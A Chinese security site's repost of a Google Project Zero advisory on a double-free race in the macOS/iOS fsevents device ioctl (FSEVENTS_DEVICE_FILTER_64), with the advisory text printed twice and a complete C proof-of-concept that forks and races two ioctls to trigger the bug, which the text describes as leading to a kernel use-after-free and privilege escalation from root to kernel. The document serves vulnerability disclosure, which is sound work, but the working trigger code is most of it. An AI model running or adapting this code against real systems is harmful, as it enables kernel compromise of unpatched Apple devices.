首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents De
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1129
 
fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents
 
Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:
 
    case FSEVENTS_DEVICE_FILTER_64:
      if (!proc_is64bit(vfs_context_proc(ctx))) {
        ret = EINVAL;
        break;
      }
      devfilt_args = (fsevent_dev_filter_args64 *)data;
      
    handle_dev_filter:
    {
      int new_num_devices;
      dev_t *devices_not_to_watch, *tmp=NULL;
      
      if (devfilt_args->num_devices > 256) {
        ret = EINVAL;
        break;
      }
      
      new_num_devices = devfilt_args->num_devices;
      if (new_num_devices == 0) {
        tmp = fseh->watcher->devices_not_to_watch;   <------ (a)
        
        lock_watch_table();                          <------ (b)
        fseh->watcher->devices_not_to_watch = NULL;
        fseh->watcher->num_devices = new_num_devices;
        unlock_watch_table();                        <------ (c)
        
        if (tmp) {
          FREE(tmp, M_TEMP);                         <------ (d)
        }
        break;
      }
 
There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.
 
This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.
 
/dev/fsevents is:
crw-r--r--  1 root  wheel   13,   0 Feb 15 14:00 /dev/fsevents
 
so this is a privesc from either root or members of the wheel group to kernel
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
 
(build with -O3)
 
The open handler for the fsevents device node has a further access check:
 
  if (!kauth_cred_issuser(kauth_cred_get())) {
    return EPERM;
  }
 
restricting this issue to root only despite the permissions on the device node (which is world-readable)
*/
 
 
// ianbeer
#if 0
MacOS/iOS kernel double free due to bad locking in fsevents device
 
fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents
 
Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:
 
    case FSEVENTS_DEVICE_FILTER_64:
      if (!proc_is64bit(vfs_context_proc(ctx))) {
        ret = EINVAL;
        break;
      }
      devfilt_args = (fsevent_dev_filter_args64 *)data;
      
    handle_dev_filter:
    {
      int new_num_devices;
      dev_t *devices_not_to_watch, *tmp=NULL;
      
      if (devfilt_args->num_devices > 256) {
        ret = EINVAL;
        break;
      }
      
      new_num_devices = devfilt_args->num_devices;
      if (new_num_devices == 0) {
        tmp = fseh->watcher->devices_not_to_watch;   <------ (a)
        
        lock_watch_table();                          <------ (b)
        fseh->watcher->devices_not_to_watch = NULL;
        fseh->watcher->num_devices = new_num_devices;
        unlock_watch_table();                        <------ (c)
        
        if (tmp) {
          FREE(tmp, M_TEMP);                         <------ (d)
        }
        break;
      }
 
There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.
 
This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.
 
/dev/fsevents is:
crw-r--r--  1 root  wheel   13,   0 Feb 15 14:00 /dev/fsevents
 
so this is a privesc from either root or members of the wheel group to kernel
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
 
(build with -O3)
#endif
 
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <pthread.h>
 
#include <unistd.h>
 
typedef uint64_t user64_addr_t;
 
typedef struct fsevent_clone_args64 {
  user64_addr_t  event_list;
  int32_t        num_events;
  int32_t        event_queue_depth;
  user64_addr_t  fd;
} fsevent_clone_args64;
 
#define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64)
 
#pragma pack(push, 4)
typedef struct fsevent_dev_filter_args64 {
  uint32_t       num_devices;
  user64_addr_t  devices;
} fsevent_dev_filter_args64;
#pragma pack(pop)
 
#define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64)
 
void* racer(void* thread_arg){
  int fd = *(int*)thread_arg;
  printf("started thread\n");
 
  fsevent_dev_filter_args64 arg = {0};
  int32_t dev = 0;
 
  while (1) {
    arg.num_devices = 1;
    arg.devices = (user64_addr_t)&dev;
    int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);
    
    if (err == -1) {
      perror("error in FSEVENTS_DEVICE_FILTER_64\n");
      exit(EXIT_FAILURE);
    }
    
    arg.num_devices = 0;
    arg.devices = (user64_addr_t)&dev;
 
    err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);
    
    if (err == -1) {
      perror("error in FSEVENTS_DEVICE_FILTER_64\n");
      exit(EXIT_FAILURE);
    }
  }
 
  return NULL;
}
int main(){
  int fd = open("/dev/fsevents", O_RDONLY);
  if (fd == -1) {
    perror("can't open fsevents device, are you root?");
    exit(EXIT_FAILURE);
  }
 
  // have to FSEVENTS_CLONE this to get the real fd
  fsevent_clone_args64 arg = {0};
  int event_fd = 0;
  int8_t event = 0;
 
 
  arg.event_list = (user64_addr_t)&event;
  arg.num_events = 1;
  arg.event_queue_depth = 1;
  arg.fd = (user64_addr_t)&event_fd;
 
  int err = ioctl(fd, FSEVENTS_CLONE_64, &arg);
  
  if (err == -1) {
    perror("error in FSEVENTS_CLONE_64\n");
    exit(EXIT_FAILURE);
  }
 
  if (event_fd != 0) {
    printf("looks like we got a new fd %d\n", event_fd);
  } else {
    printf("no new fd\n");
  }
 
  pid_t pid = fork();
  if (pid == 0) {
    racer(&event_fd);
  } else {
    racer(&event_fd);
  }
 
 
  return 1;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS Kernel 10.12.2 (16C67) -
·Apple WebKit 10.0.2(12602.3.12
·macOS Kernel 10.12.3 (16D32) -
·Apple Webkit - 'JSCallbackData
·macOS/iOS Kernel 10.12.3 (16D3
·Apple Webkit - Universal Cross
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit 10.0.2(12602.3.12
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit 10.0.2(12602.3.12
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit 10.0.2 - HTMLInpu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved